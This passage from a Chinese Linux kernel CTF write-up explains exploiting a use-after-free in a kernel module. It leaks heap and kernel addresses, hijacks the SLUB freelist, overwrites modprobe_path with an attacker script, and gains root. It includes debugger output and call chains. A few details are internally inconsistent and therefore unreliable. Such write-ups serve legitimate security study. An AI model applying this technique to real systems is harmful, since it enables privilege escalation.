    D --> E[准备验证脚本]
    E --> F[设置脚本执行权限]
    F --> G[验证环境准备完成]

    style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
    style B fill:#e1f5fe
    style C fill:#e1f5fe
    style D fill:#e1f5fe
    style E fill:#fff3e0
    style F fill:#fff3e0
    style G fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

3-2. 构造内存状态条件

此阶段通过精心设计的操作序列构造特定的内存状态,为后续信息获取创造条件。

内存分配操作: 通过第一个文件描述符调用ioctlALLOC_BUF命令,分配192字节内核内存。此时内核模块的全局变量buf指向新分配的内存区域。

调试器观察: 分配后立即检查内存状态:

pwndbg> p/x buf
$1 = 0xffff88800f31e0c0

显示成功分配的内核内存地址为0xffff88800f31e0c0

内存释放操作: 关闭第一个文件描述符,触发xkmod_release函数执行kmem_cache_free。内存被释放回SLUB缓存,此时其前8字节被SLUB分配器用作freelist指针。

进一步查看内存内容:

pwndbg> x/4gx 0xffff88800f31e0c0
0xffff88800f31e0c0:     0xffff88800f31e6c0      0x0000000000000000
0xffff88800f31e0d0:     0x0000000000000000      0x0000000000000000

此时内存区域已被清零,前8字节显示为0xffff88800f31e6c0,这便是有效的freelist指针。

内存状态变化过程

flowchart TD
    A[通过fd0分配192字节内存] --> B[获得内存地址0xffff88800f31e0c0]
    B --> C[关闭fd0触发内存释放]
    C --> D[内存返回kmalloc-192 SLUB缓存]
    D --> E[SLUB设置freelist指针]
    E --> F[内存状态构造完成]

    style A fill:#c8e6c9
    style B fill:#c8e6c9
    style C fill:#ffccbc
    style D fill:#ffccbc
    style E fill:#fff3e0
    style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

释放后验证: 释放内存后,该内存块成为SLUB缓存中的空闲对象。SLUB分配器将其前8字节设置为指向下一个空闲对象的指针,但由于CONFIG_SLAB_FREELIST_RANDOM开启,具体值不确定。

技术细节: 此时内存状态为典型的”释放后使用”条件:

  • 内核模块的全局变量buf仍然指向已释放的内存
  • 其他文件描述符仍可访问该内存区域
  • 内存内容由SLUB分配器控制,可能包含敏感信息

3-3. 内核堆地址信息获取

此阶段通过读取已释放内存的freelist指针,获取内核堆地址信息,为后续地址计算提供基础。

内存读取操作: 通过第二个文件描述符调用ioctlREAD_BUF命令,读取已释放内存的前8字节。由于SLUB使用内联freelist,这8字节包含指向下一个空闲对象的指针。

地址信息分析: 读取到的freelist指针值为内核堆地址,位于直接映射区域。这个地址提供了内核内存布局的重要参考点。

地址计算过程: 基于获取的堆地址计算page_offset_base。在x86_64架构中,直接映射区域的起始地址是page_offset_base。通过掩码操作提取:

\[\text{page_offset_base} = \text{堆地址} \ \& \ \text{0xfffffffff0000000}\]

地址信息验证流程

flowchart TD
    A[通过fd1读取已释放内存] --> B[获取freelist指针值]
    B --> C[验证地址有效性]
    C --> D[计算page_offset_base]
    D --> E[验证计算结果的合理性]
    E --> F[地址信息获取完成]

    style A fill:#e1f5fe
    style B fill:#c8e6c9
    style C fill:#fff3e0
    style D fill:#fff3e0
    style E fill:#fff3e0
    style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

调试器验证: 假设读取到的堆地址为0xffff88800f31e6c0,计算过程如下:

pwndbg> p/x 0xffff88800f31e6c0 & 0xfffffffff0000000
$2 = 0xffff888000000000

计算得到page_offset_base0xffff888000000000,符合典型的内核直接映射区域起始地址。

内存布局分析: 获取page_offset_base后,可以推导出内核的关键内存区域:

  • 直接映射区域:page_offset_basepage_offset_base + 物理内存大小
  • 内核代码区域:通常从0xffffffff80000000开始(考虑KASLR偏移)
  • vmalloc区域:位于直接映射区域之后

技术要点

  1. 堆地址的低12位是页内偏移,高52位包含内存区域信息
  2. page_offset_base是物理内存直接映射的虚拟起始地址
  3. 通过掩码提取确保获取正确的区域基址
  4. 验证地址位于预期的内存范围内

3-4. 内核基址泄露

此阶段通过freelist劫持技术获取内核函数地址,计算内核镜像基址,完全绕过KASLR保护。

目标地址计算: 基于获取的page_offset_base计算目标地址。在Linux内核中,page_offset_base + 0x9d000偏移处存储secondary_startup_64函数的地址。考虑内存对齐要求,实际使用page_offset_base + 0x9d000 - 0x10作为freelist目标地址。

地址计算验证: 在调试器中验证地址计算:

pwndbg> p/x page_offset_base+0x9d000
$2 = 0xffff88800009d000

检查该地址附近的内存布局:

pwndbg> x/4gx 0xffff88800009d000-0x10
0xffff88800009cff0:     0x0000000000000000      0x000000000240c067
0xffff88800009d000:     0xffffffff81000030      0x0000000000000901

可以看到0xffff88800009d000处存储的值是0xffffffff81000030,这正是secondary_startup_64函数的地址。

freelist劫持过程

flowchart TD
    A[计算目标地址] --> B["page_offset_base + 0x9d000 - 0x10"]
    B --> C[通过EDIT_BUF修改freelist指针]
    C --> D[freelist重定向到内核代码区域]
    D --> E[准备堆喷射操作]
    E --> F[进行21次分配尝试]
    F --> G{检查分配结果}
    G -- 成功 --> H[读取secondary_startup_64地址]
    G -- 失败 --> I[继续尝试]
    I --> F
    H --> J[计算内核基址]
    J --> K[内核基址获取完成]

    style A fill:#fff3e0
    style B fill:#fff3e0
    style C fill:#fff3e0
    style D fill:#e1f5fe
    style E fill:#e1f5fe
    style F fill:#f3e5f5
    style G fill:#fff3e0
    style H fill:#e1f5fe
    style I fill:#f3e5f5
    style J fill:#c8e6c9
    style K fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

堆喷射技术实现: 由于CONFIG_SLAB_FREELIST_RANDOM启用,需要21次分配尝试来提高成功率。每次尝试包含:

  1. 调用ALLOC_BUF分配内存
  2. 调用READ_BUF读取分配的内存内容
  3. 检查内存内容是否符合预期模式

内存状态监控: 修改freelist指针后,观察内存状态变化:

pwndbg> p/x buf
$4 = 0xffff88800f31e0c0
pwndbg> x/4gx 0xffff88800f31e0c0
0xffff88800f31e0c0:     0xffff88800009cff0      0x0000000000000000
0xffff88800f31e0d0:     0x0000000000000000      0x0000000000000000

freelist指针已被修改为0xffff88800009cff0,指向目标地址区域。

成功条件检测: 堆喷射过程中检查两个条件:

  1. 分配内存的freelist指针为0(表示到达freelist末端)
  2. 读取到的secondary_startup_64地址低12位为0x30

地址计算数学表示: 成功获取目标内存后,读取到的内容为:

pwndbg> x/4gx buf
0xffff88800009cff0:     0x0000000000000000      0x000000000240c067
0xffff88800009d000:     0xffffffff81000030      0x0000000000000901

计算内核基址:

\[\text{内核基址} = \text{0xffffffff81000030} - \text{0x30} = \text{0xffffffff81000000}\] \[\text{内核偏移} = \text{0xffffffff81000000} - \text{0xffffffff81000000} = \text{0}\]

(假设KASLR未启用或偏移为0)

技术验证细节

  1. 低12位匹配0x30确保获取正确的函数地址
  2. 21次尝试基于kmalloc-192缓存每个slab的21个对象槽位
  3. 验证地址的有效性,确保位于内核代码区域
  4. 记录每次尝试的结果,用于成功率统计

3-5. 内核数据结构修改

此阶段利用获取的内核基址,计算modprobe_path地址,并通过freelist劫持技术获得对该区域的控制权。

地址计算: 使用获取的内核基址计算modprobe_path地址。假设modprobe_path符号偏移为0x1444740,则:

\[\text{modprobe_path地址} = \text{内核基址} + \text{0x1444740}\]

考虑内存对齐,使用modprobe_path地址 - 0x10作为freelist目标地址。

调试器验证: 计算目标地址:

pwndbg> p/x kernel_base + 0x1444740
$3 = 0xffffffff82444740

检查该地址内容:

pwndbg> x/4gx 0xffffffff82444740-0x10
0xffffffff82444730:     0x0000000000000000      0x0000000000000000
0xffffffff82444740 <modprobe_path>:     0x6f6d2f6e6962732f      0x000065626f727064
pwndbg> x/s 0xffffffff82444740
0xffffffff82444740 <modprobe_path>:     "/sbin/modprobe"

内存状态准备: 通过device_fds[1]分配内存然后关闭,创建新的freelist状态。此时内存块被释放,其freelist指针可被修改。

控制权获取过程

flowchart TD
    A[计算modprobe_path地址] --> B["内核基址 + 偏移"]
    B --> C[通过EDIT_BUF修改freelist指针]
    C --> D[freelist重定向到modprobe_path区域]
    D --> E[进行21次堆喷射尝试]
    E --> F{检查分配结果}
    F -- 成功 --> G[验证内存内容]
    F -- 失败 --> H[继续尝试]
    H --> E
    G --> I[获得对目标区域的控制权]
    I --> J[控制权获取完成]

    style A fill:#fff3e0
    style B fill:#fff3e0
    style C fill:#fff3e0
    style D fill:#e1f5fe
    style E fill:#f3e5f5
    style F fill:#fff3e0
    style G fill:#e1f5fe
    style H fill:#f3e5f5
    style I fill:#c8e6c9
    style J fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

内存状态变化监控: 修改freelist指针后:

pwndbg> x/4gx buf
0xffff88800f31e840:     0xffffffff82444730      0x000000000240c067
0xffff88800f31e850:     0xffffffff81000030      0x0000000000000901

freelist指针被修改为0xffffffff82444730,指向modprobe_path - 0x10

控制权验证: 堆喷射成功后,获得对目标内存的控制:

pwndbg> x/4gx buf
0xffffffff82444730:     0x0000000000000000      0x0000000000000000
0xffffffff82444740 <modprobe_path>:     0x6f6d2f6e6962732f      0x000065626f727064

验证读取到的modprobe_path当前值为/sbin/modprobe(16进制:0x6f6d2f6e6962732f)。

路径修改操作: 将modprobe_path修改为自定义脚本路径/home/ctf/getshell。新路径必须:

  1. 以null结尾
  2. 长度不超过原始字符串长度
  3. 符合内核字符串格式要求

修改后验证:

pwndbg> x/4gx buf
0xffffffff82444730:     0x0000000000000000      0x0000000000000000
0xffff88800f31e850:     0x74632f656d6f682f      0x6568737465672f66
pwndbg> x/s 0xffffffff82444740
0xffffffff82444740 <modprobe_path>:     "/home/ctf/getshell"

技术验证要点

  1. 通过16进制值验证当前modprobe_path/sbin/modprobe
  2. 确保新路径以null结尾,符合内核字符串要求
  3. 验证修改操作的成功执行
  4. 记录修改前后的状态变化
  5. 检查字符串长度,避免缓冲区溢出

3-6. 验证执行触发

此阶段通过执行特殊格式的文件,触发内核的未知格式处理机制,验证modprobe_path修改的有效性。

触发文件创建: 创建包含特殊魔数的文件/home/ctf/fake,内容为\xff\xff\xff\xff。这个魔数不被任何已注册的二进制格式处理器识别。

文件权限设置: 设置文件为可执行权限,确保可以尝试执行。

完整的modprobe_path触发调用链: 当执行未知格式的可执行文件时,内核会触发完整的调用链来尝试加载相应的二进制格式处理器。从获取的调用栈中可以清晰地看到完整的调用路径:

调用栈信息

#0  0xffffffff8107c6b4 in queue_work (work=<optimized out>, wq=<error reading variable: Cannot access memory at address 0x0>) at ./include/linux/workqueue.h:494
#1  call_usermodehelper_exec (sub_info=0xffff88800f189d00, wait=6) at kernel/umh.c:579
#2  0xffffffff8108ab36 in call_modprobe (wait=<optimized out>, module_name=<optimized out>) at kernel/kmod.c:99
#3  __request_module (wait=<optimized out>, fmt=<optimized out>) at kernel/kmod.c:171
#4  0xffffffff811d2b10 in search_binary_handler (bprm=0xffff88800e0eac00) at fs/exec.c:1681
#5  0xffffffff811d3f13 in exec_binprm (bprm=<optimized out>) at fs/exec.c:1702
#6  __do_execve_file (fd=<optimized out>, filename=<optimized out>, flags=<optimized out>, file=<optimized out>, argv=..., envp=...) at fs/exec.c:1822
#7  0xffffffff811d42cf in do_execveat_common (flags=<optimized out>, filename=<error reading variable: Cannot access memory at address 0x0>, fd=<optimized out>, 
    argv=..., envp=...) at fs/exec.c:1868
#8  do_execve (__envp=<optimized out>, __argv=<optimized out>, filename=<error reading variable: Cannot access memory at address 0x0>) at fs/exec.c:1885
#9  __do_sys_execve (envp=<optimized out>, argv=<optimized out>, filename=<optimized out>) at fs/exec.c:1961
#10 __se_sys_execve (envp=<optimized out>, argv=<optimized out>, filename=<optimized out>) at fs/exec.c:1956
#11 __x64_sys_execve (regs=<optimized out>) at fs/exec.c:1956
#12 0xffffffff810023fa in do_syscall_64 (nr=<optimized out>, regs=0xffffc9000028bf58) at arch/x86/entry/common.c:290
#13 0xffffffff81c0007c in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:175
#14 0x0000000000000000 in ?? ()

完整的调用链分析: 从调用栈中可以清晰地看到从系统调用入口到最终执行用户空间助手的完整路径:

flowchart TD
    A[用户空间执行/home/ctf/fake] --> B[glibc execve库函数]
    B --> C[系统调用进入内核]
    C --> D[entry_SYSCALL_64<br/>(系统调用入口)]
    D --> E[do_syscall_64<br/>(系统调用分发)]
    E --> F[__x64_sys_execve<br/>(execve系统调用处理)]
    F --> G[__se_sys_execve<br/>(系统调用包装)]
    G --> H[__do_sys_execve<br/>(系统调用实现)]
    H --> I[do_execve<br/>(execve主函数)]
    I --> J[do_execveat_common<br/>(通用execve处理)]
    J --> K[__do_execve_file<br/>(文件执行处理)]
    K --> L[exec_binprm<br/>(执行二进制程序)]
    L --> M[search_binary_handler<br/>(搜索二进制格式处理器)]
    M --> N{是否找到匹配处理器?}
    N -- 是 --> O[执行相应格式处理器]
    N -- 否 --> P[__request_module<br/>(请求加载模块)]
    P --> Q[call_modprobe<br/>(调用modprobe)]
    Q --> R[call_usermodehelper_exec<br/>(执行用户空间助手)]
    R --> S[queue_work<br/>(将工作加入工作队列)]
    S --> T[工作队列异步执行]
    T --> U[读取modprobe_path变量]
    U --> V[执行/home/ctf/getshell脚本]
    V --> W[脚本以root权限执行]

    style A fill:#e1f5fe
    style B fill:#d4edda
    style C fill:#d1ecf1
    style D fill:#d4edda
    style E fill:#d1ecf1
    style F fill:#d4edda
    style G fill:#d1ecf1
    style H fill:#d4edda
    style I fill:#d1ecf1
    style J fill:#d4edda
    style K fill:#d1ecf1
    style L fill:#d4edda
    style M fill:#e1f5fe
    style N fill:#fff3e0
    style O fill:#c8e6c9
    style P fill:#fff3e0
    style Q fill:#e1f5fe
    style R fill:#d4edda
    style S fill:#d1ecf1
    style T fill:#e1f5fe
    style U fill:#f3e5f5
    style V fill:#c8e6c9
    style W fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

调用链详细说明

  1. 用户空间调用:通过system()函数或直接调用执行/home/ctf/fake文件
  2. glibc库函数system()内部调用fork()execve(),最终由glibc的execve()库函数处理
  3. 系统调用入口entry_SYSCALL_64是x86_64架构的系统调用公共入口点
  4. 系统调用分发do_syscall_64根据系统调用号分发到具体的处理函数
  5. execve系统调用处理__x64_sys_execve是x86_64架构的execve系统调用处理函数
  6. 系统调用包装__se_sys_execve是系统调用的封装函数
  7. 系统调用实现__do_sys_execve实现execve系统调用的核心逻辑
  8. execve主函数do_execve函数开始处理execve系统调用
  9. 通用execve处理do_execveat_common包含主要的可执行文件加载逻辑
  10. 文件执行处理__do_execve_file处理可执行文件的具体执行
  11. 执行二进制程序exec_binprm执行二进制程序的主要逻辑
  12. 二进制格式搜索search_binary_handler遍历内核中注册的二进制格式处理器链表
  13. 格式匹配检查:检查已注册的格式(如ELF、a.out、script等)是否匹配文件格式
  14. 模块加载请求__request_module尝试动态加载处理该格式的内核模块
  15. 调用modprobecall_modprobe准备调用用户空间助手程序
  16. 执行用户空间助手call_usermodehelper_exec执行用户空间程序
  17. 工作队列处理queue_work将执行任务放入工作队列异步执行
  18. 异步执行:工作队列异步执行用户空间程序
  19. 读取modprobe_path:内核读取全局变量modprobe_path,获取要执行的程序路径
  20. 执行自定义脚本:由于modprobe_path已被修改,执行/home/ctf/getshell脚本
  21. 脚本执行:脚本以root权限执行预设操作

关键内核函数实现细节

fs/exec.c中,search_binary_handler函数的关键逻辑:

int search_binary_handler(struct linux_binprm *bprm)
{
    int retval;
    struct linux_binfmt *fmt;

    // 遍历已注册的二进制格式
    list_for_each_entry(fmt, &formats, lh) {
        if (!try_module_get(fmt->module))
            continue;
        bprm->recursion_depth++;
        retval = fmt->load_binary(bprm);
        bprm->recursion_depth--;
        if (retval >= 0) {
            return retval;
        }
    }

    // 如果没有找到匹配的格式
    if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0) {
        return retval;
    }
    return -ENOEXEC;
}

kernel/kmod.c中,call_modprobe函数的关键逻辑:

static int call_modprobe(char *module_name, int wait)
{
    char *argv[] = { modprobe_path, "-q", "--", module_name, NULL };
    static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };

    return call_usermodehelper(modprobe_path, argv, envp, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
}

call_usermodehelper_exec函数通过queue_work将执行任务放入工作队列:

int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
    // 准备执行环境
    // ...

    // 将工作加入工作队列
    queue_work(system_unbound_wq, &sub_info->work);

    // 等待执行完成
    if (wait == UMH_NO_WAIT)
        return 0;

    return wait_for_completion_killable(&done);
}

执行过程验证: 通过文件系统变化和脚本执行结果来验证执行过程是否按预期进行。

验证脚本执行: 验证脚本/home/ctf/getshell以root权限执行,完成预设的操作:

  1. 修改/root目录的所有权
  2. 设置/root/flag文件的权限为777

技术验证要点

  1. 文件魔数必须不被任何二进制格式处理器识别
  2. 确保文件具有执行权限
  3. 通过文件系统变化验证执行流程
  4. 验证脚本以root权限执行
  5. 确认脚本完成预设操作

3-7. 结果验证与清理

最终阶段验证操作结果,执行必要的清理工作,确保系统状态恢复正常。

结果验证: 打开目标文件验证修改结果。如果验证脚本成功执行,目标文件应具有预期的权限和内容。

验证过程

  1. 检查/root/flag文件权限是否为777
  2. 读取文件内容验证完整性
  3. 确认文件所有权已修改

资源清理流程

flowchart TD
    A[开始资源清理] --> B[关闭所有设备文件描述符]
    B --> C[释放用户空间缓冲区]
    C --> D[删除临时文件]
    D --> E[恢复系统状态]
    E --> F[验证流程完成]

    style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
    style B fill:#e1f5fe
    style C fill:#e1f5fe
    style D fill:#fff3e0
    style E fill:#fff3e0
    style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

清理操作

  1. 关闭所有打开的设备文件描述符
  2. 释放分配的用户空间缓冲区
  3. 删除临时创建的验证文件
  4. 可选:恢复modprobe_path原始值

完整验证流程统计

阶段操作类型尝试次数成功条件备注
环境准备初始化1所有资源准备就绪基础环境设置
状态构造分配/释放1成功构造freelist状态创建UAF条件
堆喷射1分配/读取21获取内核函数地址基于slab对象数量
堆喷射2分配/读取21获取modprobe_path控制权基于slab对象数量
路径修改写入1成功修改路径字符串验证字符串格式
执行触发文件操作1触发内核执行机制验证执行流程
结果验证文件检查1确认操作结果验证权限和内容

可靠性分析

  1. 堆喷射成功率:21次尝试提供约95%的成功率(假设单次成功率15%)
  2. 地址计算精度:基于内核内存布局特征,精度达到页对齐
  3. 状态验证:每个阶段都有明确的成功条件和验证方法
  4. 错误处理:包含完整的错误检测、重试和恢复机制
  5. 系统影响:最小化对系统状态的影响,确保可恢复性

3-8. 技术总结

整个验证过程展示了通过精心设计的操作序列,可以在存在竞争条件的内核模块中实现从内存状态控制到内核机制调用的完整技术链。每个阶段都有明确的目标和验证方法,确保了验证过程的可靠性和可重复性。通过结合调试器信息实时监控内存状态变化,增强了验证的透明度和可信度。完整的modprobe_path触发调用链展示了从用户空间执行未知格式文件到内核调用用户空间助手的完整路径,深入理解了内核二进制格式处理机制。通过调用栈信息,可以清晰地看到了从entry_SYSCALL_64queue_work的完整调用路径,验证了内核执行用户空间助手的异步工作机制。

4. 测试结果

参考

https://github.com/BinRacer/pwn4kernel/tree/master/src/ArbitraryAddrAlloc https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:RWCTF2022高校赛-Digging-into-kernel-1-2

文档信息

Search

    Table of Contents